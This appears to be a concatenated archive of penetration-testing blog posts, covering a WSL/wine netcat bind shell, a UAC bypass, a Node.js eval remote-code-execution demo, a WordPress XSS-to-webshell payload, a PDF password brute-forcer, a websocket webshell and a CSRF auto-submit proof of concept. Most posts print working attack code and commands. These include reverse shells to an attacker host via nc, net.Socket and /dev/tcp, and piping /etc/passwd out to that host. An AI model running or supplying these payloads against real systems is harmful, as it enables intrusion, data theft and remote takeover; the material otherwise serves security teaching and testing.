Executing Windows malware in Windows Subsystem for Linux (Bashware)

Origin Story

I did a talk recently at the Bangalore null/OWASP meetup where I spoke about and demoed the concept of the research done by Check Point Security folks, called Bashware.

Bashware (bash+(mal)ware) is the idea of running Windows binaries (malware) in the Windows Subsystem for Linux (WSL) using wine support. This allows for some programs (not all Windows PE executables though) to be run inside WSL while being shielded from system inspection tools like Antivirus solutions, process monitor etc.

While setting up the demo for this talk, I realised that the speed of execution that is shown in the video released by Check Point Security was very likely not possible as it took me couple of hours of setup and downloading/installing of components required to make this run from scratch. In the video, a binary called malware.exe is run and within a minute the binary does the following

  1. Enables WSL
  2. Enables Developer Mode
  3. Installs WSL
  4. Installs wine
  5. Executes nc.exe -lvp 1337 via wine

In my opinion, the malware.exe simply runs the last command while everything else is already setup on the system. Let’s go ahead and build a PoC and see what we happens.

Let’s build a PoC!

In any case, if you want to try setting this up, here are the commands that worked for me. This is 5 step process at the very least. You will need to be on a Windows 10 64 bit Edition machine with Windows 10 version higher than the Anniversary Update (version 1607):

Step 1: Enable WSL

The Windows Subsystem for Linux can be enabled either by using the dism binary using an elevated command prompt or using Powershell’s Enable-WindowsOptionalFeature module as shown below. A reboot is required after this step:

C:\>dism /Online /Enable-Feature /All /FeatureName:Microsoft-Windows-Subsystem-Linux /NoRestart
PS C:\> Enable-WindowsOptionalFeature -O -F Microsoft-Windows-Subsystem-Linux

Step 2: Enable Developer mode (Optional)

Developer Mode in Windows 10 allows developers to install and test unsigned applications and was required to install WSL, but post 16215, you no longer have to enable Developer Mode to install WSL. I ran into some installation issues though which did not recur once I had enabled Developer Mode, so including this step here.

To enable Developer Mode, go to Settings -> Update & Security -> For Developers and click on the Developer mode radio button and click Yes on the message box that is shown

To script this or to do this via a command prompt, we can use the reg command to add registry values directly. The following command sets the required values in the Windows registry (requires elevation).

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" /v AllowAllTrustedApps /t REG_DWORD /d 1 /f

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" /v AllowDevelopmentWithoutDevLicense /t REG_DWORD /d 0 /f

Step 3: Install WSL and Linux components

This can be done via the Turn Windows features on or off applet as shown below

or using the command prompt with the lxrun command

lxrun /install /y

Step 4: Install wine inside WSL

From the Wine website,

Wine (originally an acronym for “Wine Is Not an Emulator”) is a compatibility layer capable of running Windows applications on several POSIX-compliant operating systems, such as Linux, macOS, & BSD. Instead of simulating internal Windows logic like a virtual machine or emulator, Wine translates Windows API calls into POSIX calls on-the-fly, eliminating the performance and memory penalties of other methods and allowing you to cleanly integrate Windows applications into your desktop.

Basically, Wine allows you to run Windows programs on Linux by translating Windows API calls to Linux (POSIX) equivalent API calls. Not all Windows programs can be run using Wine though, however there are a large number of programs that do work.

Anyways, Wine is required to run the Windows binary (malware) to complete this PoC for bashware. You can do this using a bash terminal in WSL. Open cmd and type bash and press enter to launch the WSL environment. In bash, type the following commands to enable 32 bit architecture support, add the Wine PPA, download and update the package lists from the repositories and finally install wine:

dpkg --add-architecture i386
add-apt-repository -y ppa:ubuntu-wine/ppa
apt-get update
apt-get install wine1.6-amd64

Step 5: Download and run netcat 64 bit using wine

This was the trickiest of all the steps. The original research article on the Check Point Security website does not mention the binary type that will be eventually executed, although there are hints throughout the article.

Looking at the video and pausing at 0:12 seconds I realized that the netcat binary used in the video was the original Hobbit version compiled by someone into its 64 bit equivalent on 26th December 2010. Using a little bit of Google search I found the exact binary that was used in the video, which I subsequently used in the demo as well.

So go ahead and grab a copy of the netcat 1.11 from https://eternallybored.org/misc/netcat/

(You can compare the Date Modified of the files in the video and this download and chuckle along :D)

Finally, to run the netcat and complete the PoC, cd to the directory where you unzipped the download and run the following command (all in bash, obviously). You may very likely see multiple preloader: Warning: failed to reserve range 00007ffffe000000-00007fffffff0000. You can ignore these warnings and proceed.

wine64 nc64.exe -e cmd.exe -lvp 1337

This will run the netcat binary inside WSL using wine. The netcat parameters in this command cause it to verbosely listen on port 1337 and execute and send STDIN, STDOUT and STDERR of cmd.exe back to the connecting client.

You can verify if the port is open using netstat or TCPView

C:\> netstat -anto | findstr "1337"

From a different machine or another command prompt window on the same computer connect to the open port using another copy of netcat (I used the nmap version) as such:

ncat 192.168.56.1 1337 -v

Is this really stealthy?

Once the connection was established, I wanted to see if this can be detected by some common Windows system inspection tools. I used TCPView, Process Explorer and Process Monitor. The results were interesting as expected.

Using TcpView

TCPView provides a graphical UI to view all network connections, the teardowns and new connections being made along with the process information of the PID that created the connection.

In this case, TCPView was able to list the open port, attributing it to wineserver, but was unable to get more information.

Using Process Explorer

Process Explorer was able to detect the wine64-preloader and the wineserver, but beyond that very little information was available.

The process memory and network listening status was all that was available in Process Explorer. The error message shown in place of the path is shown when (amongst other things) the handle of a privileged process, opened with PROCESS_QUERY_LIMITED_INFORMATION, is used to call QueryFullProcessImageName

Using Process Monitor

I had better luck with Process Monitor in looking at the process and the execution path. I would highly recommend trying this out on your own setup as the number of entries is just too many to go into details.

The wine64 binary path (on the Windows Filesystem) was detected as well as several CreateFile, ReadFile and CloseFile references to nc64.exe by a process that had no name or path (!?). The LXCORE.SYS driver was also visible in the stack of the process with various API calls to execute and manage the wine64 invocation of nc64.exe.

Final Thoughts

In my opinion, the video and research published by the folks at Check Point Security had some glaring and obvious holes in it. But given the overall simplicity of execution and the absence of proper tools to inspect and analyze Windows binaries running through Wine through WSL (whew!), this can become very tricky very fast.

To be fair, it really is a lengthy process, requiring privileged execution, multiple reboots and Internet access. No wonder Microsoft downplayed the whole thing as is. However, it cannot be denied that this is a cool technique at camouflaging execution.

As is always with any untrusted sources, practice caution when opening email attachments or executing downloaded content.

Till my next post, Happy Hacking!

PS: The slides from the talk that spurred this blogpost are at: https://www.slideshare.net/riyazwalikar/executing-windows-malware-through-wsl-bashware

References:

  1. https://research.checkpoint.com/beware-bashware-new-method-malware-bypass-security-solutions/
  2. https://www.youtube.com/watch?v=fwEQFMbHIV8
  3. https://blogs.msdn.microsoft.com/wsl/2016/04/22/windows-subsystem-for-linux-overview/

A Windows UAC Bypass using Device Manager

Today while working on a Windows 10 machine, I had the need to open the Device Manager for some hardware maintenance. While opening the Windows Device manager I noticed that there was no UAC prompt when I started it. This was a little strange because the Device Manager exists as a Management Console snap-in in %systemroot%\System32\devmgmt.msc and is launched by mmc.exe.

When you start the Device Manager, mmc.exe is launched with %systemroot%\System32\devmgmt.msc as an argument.

Independently, the Microsoft Management Console requires elevation to run. When you go to run and launch mmc.exe, Windows will ask you to allow elevation using the UAC prompt.

If the Device Manager can be opened without a UAC prompt it means that it was launched with High Integrity level. If this process can be used to spawn other processes, they will be launched with High integrity level too.
It was trivial from here to find a way to open an elevated Command Prompt without being prompted by UAC.
User Access Control on my machine was set to the default value of “Notify me only when apps try to make changes to my computer (default)”
To reproduce this:
1. Go to Start run and type devmgmt.msc. Notice that there is no UAC prompt.
2. Once the Device Manager opens, goto Help > Help Topics
3. This will open up the Microsoft Management Console Help window. Right click any where in the right pane and select View Source
4. This will open notepad (the editor may vary if you have set IE’s source viewer to a different text editor).
5. Using notepad’s File > Open menu, navigate to the System32 directory.
6. Set the File type to “All files (*.*) and right click select “Run as Administrator” on cmd.exe
7. This should launch a elevated Command Prompt without any UAC prompts. You can run whoami /priv to check that you have a lot of privileges available now (disabled but available).
8. The process tree also shows that the cmd.exe that was spawned was started with High Integrity level.
There are several other techniques available on Windows that allow you to bypass UAC and most of them are well documented (see references below).

Please note, according to Microsoft, UAC bypasses are not a security problem as UAC is a convenience feature (more references in that page).

Other UAC Bypass references

1. https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
2. https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
3. https://github.com/hfiref0x/UACME
4. https://habrahabr.ru/company/pm/blog/328008/ [Use Google translate, worth reading]

I will try and find other bypasses and post them here. Till then Happy Hacking!!

Nodejs RCE and a simple reverse shell

While reading through the blog post on a RCE on demo.paypal.com by @artsploit, I started to wonder what would be the simplest nodejs app that I could use to demo a RCE. Looking at the hello world tutorials online, I came up with the following simple app that takes a user input via the URL as a GET parameter and passes it to eval, which is obviously a bad programming practice.

Obviously, the functionality of this app is questionable, but in the real world Node applications will use eval to leverage JavaScript’s eval but with sandboxing amongst other things.

var express = require('express');
var app = express();
app.get('/', function (req, res) {
res.send('Hello ' + eval(req.query.q));
console.log(req.query.q);
});
app.listen(8080, function () {
console.log('Example app listening on port 8080!');
});

To access the app, navigate to http://hostip:8080/?q='Test'.

The exploit can be triggered using the q parameter. Node provides the child_process module and the eval can be used to execute the exploit. A quick demo can consist of the following steps:

1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app.
2. Navigate to

http://hostip:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')

This will send the contents of /etc/passwd to the attacker’s nc instance. If the Node server has the traditional nc installed (instead of the openbsd alternative) you can even use -e /bin/bash to return a proper shell from the Node server.

etcpasswd

But as the case is with default installations the netcat that attacker’s love may not always be present on vulnerable machines. In such cases, the net module can be used to redirect the stdin, stdout and stderr streams to and from the attacker’s machine. The exploit code in such a case would be:

var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(80, "attackerip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

To execute this, use the following steps:
1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app. Again, this would act as your shell listener/collector.
2. Navigate to

http://hostip:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

shell

You can then use /bin/bash -i or python -c 'import pty; pty.spawn("/bin/bash")' to get a proper TTY shell (See more techniques here.).

I created a docker image with Node and the app installed so that this is easier to test and play with. You can setup this PoC using the following steps:

1. Install docker on your host machine. This is the standard reference – https://docs.docker.com/engine/installation/ 
2. Once docker is setup, run the following command:
docker run -p 8080:8080 -d appsecco/node-simple-rce
3. Navigate to the Node app by going to: http://localhost:8080/?q=’Test’

Update: A simpler reverse shell is:

require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/192.168.56.2/80 0>%261"')

According to https://github.com/bahamas10/node-exec:

For backwards compatibility with child_process.exec, it is also possible to pass a string to exec. The string will automatically be converted to [‘/bin/sh’, ‘-c’, ‘{string}’], which will cause the string to be parsed on the shell.

Since /bin/sh has some trouble dealing with multiple file descriptors, we can simply ask /bin/sh to spawn a new /bin/bash and use the new /bin/bash to execute our standard reverse shellcode. Whew!

The code is available on Github if you want to test this locally.

Feel free to make any changes to the code and redistribute! Happy Hacking!

.

XSS to RCE – using WordPress as an example

Cross Site Scripting (XSS) is a type of client side vulnerability that arises when an application accepts user supplied input and makes it a part of the page without sanitizing it for malicious content. An attacker can supply JavaScript as input that eventually becomes a part of the page and executes in the browser of the user viewing the page. You can read more about the different types of XSS vulnerabilities at the OWASP wiki.
Most vulnerability assessments report XSS issues with the impact limited to stealing session cookies and hijacking accounts. In reality, a well executed XSS attack can cause a lot more harm than merely overtaking an account. Of course it depends on what other vulnerabilities are present in the application in the post login pages. Also, depending on the privileges of the user whose session was hijacked, added functionality may be available ready for abuse.

There have been several well documented cases of a XSS leading to larger more impactful attacks. Here are some examples:

  1. XSS worm by Samy: – https://samy.pl/popular/tech.html
  2. Apache network compromise starting with a XSS in Atlassian JIRA: – https://blogs.apache.org/infra/entry/apache_org_04_09_2010
  3. XSS to RCE in Node via process.open() – https://oreoshake.github.io/xss/rce/bugbounty/2015/09/08/xss-to-rce.html
In a standard XSS attack, a penetration tester would usually take the following steps:

  1. Find a XSS vulnerability
  2. Host a collecting server to capture session cookies that will be delivered by your XSS payload
  3. Send the URL with the XSS payload to a user via email (Reflected XSS) OR
    Store the XSS payload and wait for a user (or social engineer them to visit if you lack patience) to visit the vulnerable page.
  4. Replay the session cookies to the application and gain access to the victim’s account.
  5. Explore the application for data/other vulnerabilities.
In the event that an application has functionality that allows a user to upload executable code (php pages for example) or edit existing server side code, then you can choose to attack that functionality directly with a XSS payload. Akash Mahajan, my friend and partner at Appsecco, pointed out a tweet by @brutelogic which, in my opinion, is a fantastic JavaScript XSS payload to use the plugin-editor of WordPress to update an existing PHP page with shellcode. So I setup a local WP with a plugin that was vulnerable to XSS and used the following JS payload as mentioned in the tweet.
x=new XMLHttpRequest()
p='/wp-admin/plugin-editor.php?'
f='file=akismet/index.php'
x.open('GET',p+f,0)
x.send()
$='_wpnonce='+/ce" value="([^"]*?)"/.exec(x.responseText)[1]+'&newcontent=<?=`$_GET[brute]`;&action=update&'+f
x.open('POST',p+f,1)
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded')
x.send($)
Here’s what the payload does:

  1. Creates a new XMLHttpRequest() object x
  2. p and f hold the complete URL to load
  3. The file that will be updated is akismet/index.php
  4. x.open('GET',p+f,0) and x.send() are used to specify the type of request and to send the actual request respectively.
  5. The $ contains the POST data that will be sent.
  6. For every POST request in WordPress you need the _wpnonce token. The /ce" value="([^"]*?)"/.exec(x.responseText)[1] extracts the token from the previous response using a regular expression.
  7. The php shell code is <?=`$_GET[brute]
  8. A new POST request is created and sent to the server along with appropriate form submit headers.

If an admin navigates to /wp-admin/plugin-editor.php?file=akismet/index.php, this is what he will see:
akismet_index_php_page

To access the shell, navigate to /wp-content/plugins/akismet/index.php?brute=ls -a. You can now interact and execute operating system commands with the WordPress server using the brute parameter. To make the output more readable simply use the view-source option of the page.

Command execution via php shell

This attack will obviously not work if the plugin editor is disabled which can be done by placing define('DISALLOW_FILE_EDIT', true); in the wp-config.php file. You can read more WordPress hardening tips at: https://codex.wordpress.org/Hardening_WordPress (shouts to @anantshri).

Happy Hacking!

PDF password cracking using Python

There are several occasions when I don’t remember passwords to the PDF documents that are sent by banking services (banking statements) and telephone operators (mobile bills). Most of these documents, as you are aware, are password protected by complicated looking yet easy to guess passwords. For example, one of the password formats could be: your 8 digit customer ID ending with 45 concatenated with your date of birth in DDMMYYYY format. If your customer ID for this particular service was 12345645 and your date of birth was 18th August 1990, your password would be 1234564518081990. You get the drift right?

In any case, this is a complex looking long number but because you know how it is constructed, we can create a simple brute force script that uses the information available to us and attempts to decrypt a supplied PDF file.

The following non-elegant python script uses the pyPDF python library to attempt decryption on a PDF file with a password that is created on the fly using a logic that we already know. This script can be easily modified for different password generation algorithms. The following code in particular can be used to brute force passwords of the PDF mobile bills of one of the largest mobile operators in India. The format is the combination of the first 4 characters of your email in lowercase and a random 4 digit number (RIYA1267).

Note that this script was tested on a PDF encrypted with 128 bit RC4 (most credit card statements) with 100% success. A wider implementation would be to loop something like qpdf with the passwords being generated using its --pasword='<password>' and --decrypt option.

Anyways, here’s the simplified version with pyPDF:

import sys
from pyPdf import PdfFileReader

helpmsg = "Simple PDF brute force script\n"
helpmsg += "Cracks pwds of the format <first 4 chars of email>0000-9999."
helpmsg += "Example: snow0653\n\n"
helpmsg += "Usage: pdfbrute.py <encrypted_pdf_file> <email_address>"
if len(sys.argv) < 2:
        print helpmsg
        sys.exit()
        
pdffile = PdfFileReader(file(sys.argv[1], "rb"))
if pdffile.isEncrypted == False:
        print "[!] The file is not protected with any password. Exiting."
        exit

print "[+] Attempting to Brute force. This could take some time..."

z = ""
for i in range(0,9999):
        z = str (i)
        while (len(z) < 4):
                z = "0" + z
        
        a = str(sys.argv[2][:4] + str(z))
               
        if pdffile.decrypt(a) > 0:
                print "[+] Password is: " + a
                print "[...] Exiting.."
                sys.exit()

Feel free to modify this code and share/redistribute!

Happy Hacking!

psexec using a local admin account to a UAC enabled system

To protect users across the network, Windows UAC imposes token restrictions on local administrators logging in via the network (using the net use \\computer\\c$ share for example). This means that a local administrator will not be able to perform administrative tasks and will not have the ability to elevate to full admin rights.

This works well if you are securing systems. However, during a pentest, hash/password reuse via psexec for example, will fail. Simply because connecting to the C$ admin share to run the psexec service will fail. My friend and systems hacker Anant Shrivastava pointed this out during some testing that he was doing, prompting me to blog about this.

I setup a Windows 7 machine with UAC enabled, an administrative account called “testadmin” with password “testadmin” and used the exploit/windows/smb/psexec exploit module from metasploit to test this in my lab environment and saw the following error:

Microsoft recommends a registry edit to disable UAC remote restrictions. To make this change, follow these steps:

  1. Open the registry editor using the regedit command via Start > Run
  2. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  3. In the right pane, if the LocalAccountTokenFilterPolicy DWORD value doesn’t exist, create it.
  4. Set its value to 1

The changes take effect immediately. I tried the Metasploit exploit again and voila it worked this time:

This registry change allows Sysinternals Psexec utility to function as well apart from other utilities that require a privileged token on the C$ share (or any other admin share).

Happy Hacking!

Get username from PID in VB.NET

As part of a larger program that I’m writing to work with Windows processes, threads and window objects, I wrote a function that allows you to get the username of the user who owns a given process. As simple as it sounds, there is no straightforward way of obtaining the username given the process id in Windows. You could use a WMI query to get the username from a PID but that is painfully slow especially if you plan on doing enumeration for all the processes running on your system. The faster way is to use the Win32 API.  The primary APIs that are needed to achieve this are:

The flow would be as follows:

  1. Using OpenProcess with the PROCESS_QUERY_INFORMATION access right, you can open a handle to a process. This will fail if you do not have the necessary access levels. For example, a limited user using querying a process owned by NT Authority\System.
  2. Once you have the handle, you can call OpenProcessToken requesting the TOKEN_QUERY access right. This function returns a pointer to a handle that identifies the newly opened access token.
  3. Once you have obtained the handle to the access token, calling GetTokenInformation with the access token handle returns the length of the buffer for the TokenInformation parameter when a null TokenInformation value is passed.
  4. The GetTokenInformation function has to be called again with the length of the buffer obtained from the previous call along with a pointer to the buffer that will be populated via the TokenInformation parameter. The TokenInformation structure can then be cast to a structure that is defined as TOKEN_USER that contains a structure called SID_AND_ATTRIBUTES that defines the SID that represents the user associated with the access token that was passed to GetTokenInformation.
  5. Once the TokenUser variable is populated, we can use the ConvertSidToStringSid function which takes in a SID structure and provides a readable SID value.
  6. This SID value can then be passed to Principal.SecurityIdentifier to be translated to a username using the Principal.NTAccount type.

Here’s the code in VB.NET.

Imports System.Runtime.InteropServices
Imports System.Security
Imports System.ComponentModel

Module ProcessFunctions
 <DllImport("kernel32.dll")> _
 Public Function OpenProcess(processAccess As ProcessAccessFlags, bInheritHandle As Boolean, processId As Integer) As Integer
 End Function

 <DllImport("advapi32.dll", SetLastError:=True)> _
 Public Function OpenProcessToken(ByVal ProcessHandle As IntPtr, ByVal DesiredAccess As Integer, ByRef TokenHandle As IntPtr) As Boolean
 End Function

 <DllImport("advapi32.dll", SetLastError:=True)> _
 Public Function GetTokenInformation(ByVal TokenHandle As IntPtr, ByVal TokenInformationClass As TOKEN_INFORMATION_CLASS, _
 ByVal TokenInformation As IntPtr, ByVal TokenInformationLength As System.UInt32, ByRef ReturnLength As System.UInt32) As Boolean
 End Function

 <DllImport("advapi32.dll", SetLastError:=True)> _
 Public Function ConvertSidToStringSid(ByVal psid As IntPtr, ByRef pStringSid As String) As Boolean
 End Function

 <DllImport("kernel32.dll", SetLastError:=True)> _
 Public Function GetExitCodeProcess(ByVal hProcess As IntPtr, ByRef lpExitCode As System.UInt32) As Boolean
 End Function

 Public Structure SID_AND_ATTRIBUTES
   Public Sid As IntPtr
   Public Attributes As Int32
 End Structure

 Public Structure TOKEN_USER
   Public User As SID_AND_ATTRIBUTES
 End Structure

 Enum ProcessAccessFlags
   All = &H1F0FFF
   Terminate = &H1
   CreateThread = &H2
   VirtualMemoryOperation = &H8
   VirtualMemoryRead = &H10
   VirtualMemoryWrite = &H20
   DuplicateHandle = &H40
   CreateProcess = &H80
   SetQuota = &H100
   SetInformation = &H200
   QueryInformation = &H400
   QueryLimitedInformation = &H1000
   Synchronize = &H100000
 End Enum

 Enum TOKEN_INFORMATION_CLASS
   TokenUser = 1
   TokenGroups
   TokenPrivileges
   TokenOwner
   TokenPrimaryGroup
   TokenDefaultDacl
   TokenSource
   TokenType
   TokenImpersonationLevel
   TokenStatistics
   TokenRestrictedSids
   TokenSessionId
   TokenGroupsAndPrivileges
   TokenSessionReference
   TokenSandBoxInert
   TokenAuditPolicy
   TokenOrigin
 End Enum

Public Function GetUsernameFromProcessID(pid As Long) As String
  Dim phnd As Integer = OpenProcess(ProcessAccessFlags.QueryInformation, False, pid)
  If phnd <> 0 Then
    Dim Thnd As Integer
    OpenProcessToken(phnd, Principal.TokenAccessLevels.Query, Thnd)
    Dim TokenUser As TOKEN_USER
    Dim TokenInfLength As Integer = 0
    Dim sUserSid As String = ""
    Dim TokenInformation As IntPtr

    GetTokenInformation(Thnd, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, 0, TokenInfLength)
    TokenInformation = Marshal.AllocHGlobal(TokenInfLength)
    GetTokenInformation(Thnd, TOKEN_INFORMATION_CLASS.TokenUser, TokenInformation, TokenInfLength, TokenInfLength)

    TokenUser = DirectCast(Marshal.PtrToStructure(TokenInformation, TokenUser.GetType), TOKEN_USER)

    ConvertSidToStringSid(TokenUser.User.Sid, sUserSid)

    Dim username As String = New Principal.SecurityIdentifier(sUserSid).Translate(GetType(Principal.NTAccount)).ToString()
    Return username
 Else : Return "<access denied>"
 End If
End Function
End Module
Add this code as part of your project in a module and access the function using GetUsernameFromProcessID(pid) which will return the username if you have access to the process and “<access denied>” if you don’t.
Happy Hacking!

Volume Mute and SendMessage() Fun

As the owner of the @wincmdfu twitter account, I try and find alternate ways of doing stuff in Windows. I normally have a bunch of batch files, VB script files and powershell cmdlets in a custom folder in %PATH% that I call when required. While listening to some music the other day, I realized there is no shortcut that I know (or have discovered yet) that allows me to mute the Audio on my system. I have a hardware key on the keyboard that mutes the volume, but no command to do this (remotely for example – which is cooler).

Enter the Windows SendMessage API. This is a fantastic API that Windows uses to send messages to windows given the handle of the target window. This window could be in a different process as well. The SendMessage function calls the window procedure for the specified window and does not return until the window procedure has processed the message.

I will be writing about additional fun stuff you can do with the SendMessage API, but for now coming back to my problem statement. SendMessage can be used to send the WM_APPCOMMAND with the APPCOMMAND_VOLUME_MUTE parameter to the current window handle to toggle mute. This can programmatically be put into a Form/console application and run from command line. Here’s my VB.NET code:

[code language=”vb” gutter=”false”]
Public Class Form1

<Runtime.InteropServices.DllImport("user32.dll")> _
Public Shared Function SendMessageW(ByVal hWnd As IntPtr, ByVal Msg As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
End Function

Private Const APPCOMMAND_VOLUME_MUTE As Integer = &H80000
Private Const WM_APPCOMMAND As Integer = &H319

Private Sub Main_Load(sender As Object, e As EventArgs) Handles MyBase.Load
SendMessageW(Me.Handle, WM_APPCOMMAND, Me.Handle, APPCOMMAND_VOLUME_MUTE)
End
End Sub
End Class
[/code]

Compile this into an executable called mute.exe, store it in %PATH% and you are done!
Happy Hacking!

Simple websockets based webshell

I’m writing again after a year! It’s been an eventful one at that. Multiple conferences and two successful Xtreme Web Hacking trainings in that period.

As part of the XWH training that Akash and I did at nullcon 2015, I built an app to demo the functionality and usage of websockets. I went overboard and converted it into a full fledged web shell.

Websocket Client

The client is a simple connect and send call to a websockets server:


function WebSocketShell()
{
if ("WebSocket" in window)
{
var server = "serverip_or_hostname:9998/server"
var ws = new WebSocket("ws://" + server);

ws.onopen = function()
{
ws.send('ipconfig');
};

ws.onmessage = function (evt)
{
var received_msg = evt.data;
alert(received_msg);
};

ws.onclose = function(a)
{
alert('Error here');
};
}
else
{
alert("WebSocket NOT supported by your Browser!");
}
}

Websocket Server

The websockets server is a pywebsocket instance. The server side code is a python script that handles the incoming connection and the text.
The text is then passed to a subprocess.Popen call to be executed on the server. The output is collected and sent back to the client via the websocket.

def web_socket_transfer_data(request):
 while True:
  line = request.ws_stream.receive_message()
  if line is None:
   return
  if isinstance(line, unicode):
   proc = subprocess.Popen('cmd.exe /c ' + line, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
   out = proc.stdout.read() + proc.stderr.read()
   request.ws_stream.send_message(out, binary=False)
  else:
   request.ws_stream.send_message('Send plain text only!', binary=True)

Get it!

The code is available on Github: You can get it here

Usage

To run the server on port 9998 (default in the code, can be changed):

  1. Get pywebsocket
  2. Run python pywebsocket\mod_pywebsocket\standalone.py -p 9998 -w ws_server
  3. Open index.html in any browser that supports websockets. Latest Chrome/Firefox is good enough.
  4. Enter a (Windows) command like ipconfig
  5. Hit the Execute! button.
  6. Potato.
Happy Hacking!

Auto submit (onload) a HTML Form with an input field called “submit” – CSRF PoC

This post describes a fairly common scenario I encounter during web application security assessments. Imagine a HTML form with the following code:
[code language=”html” gutter=”false”]
<form id="myForm" action="http://example.com/page.php" method="POST" name="myForm">
<input id="val1" name="val1" type="text" value="value1" />
<input id="val2" name="val2" type="text" value="value2" />
<input id="val3" name="val3" type="text" value="value3" />
<input id="submit" name="submit" type="text" value="Continue" />
</form>
[/code]
This form is vulnerable to CSRF due to the lack of a unique token. When I want to build a PoC for CSRF I normally use the body onload=formname.submit() to demonstrate that the form is indeed vulnerable to CSRF and the attack can be stealthily performed using body onload (no user interaction required, apart from page load). In this case, the presence of an input field whose name and id is “submit” complicates matters. The submit() function of the myForm is completely overwritten by the input field and a call to myForm.submit() would yield a “myForm.submit is not a function” error.To be able to submit data onload of the body or iframe, we would somehow need to submit the myForm without explicitly calling the submit function. The simplest way of doing this would be by converting the input field with name and id “submit” from text / hidden to type “submit”. This will however require a user to click on the button (or use JS to perform the click).

There is a simpler way to achieve what we want here. As Quentin answered my query on stackoverflow, we need to steal the submit function from another form. So my final CSRF PoC, complete with stealth and auto trigger looks like this:

[code language=”html” gutter=”false”]
<html>
<body onload="document.createElement(‘form’).submit.call(document.getElementById(‘myForm’))">
<form id="myForm" name="myForm" action="http://example.com/page.php" method="POST">
<input type=hidden name="val1" id="val1" value="value1"/>
<input type=hidden name="val2" id="val2" value="value2"/>
<input type=hidden name="val3" id="val3" value="value3"/>
<input type=hidden name="submit" id="submit" value="Continue"/>
</form>
</body>
</html>
[/code]
Happy Hacking!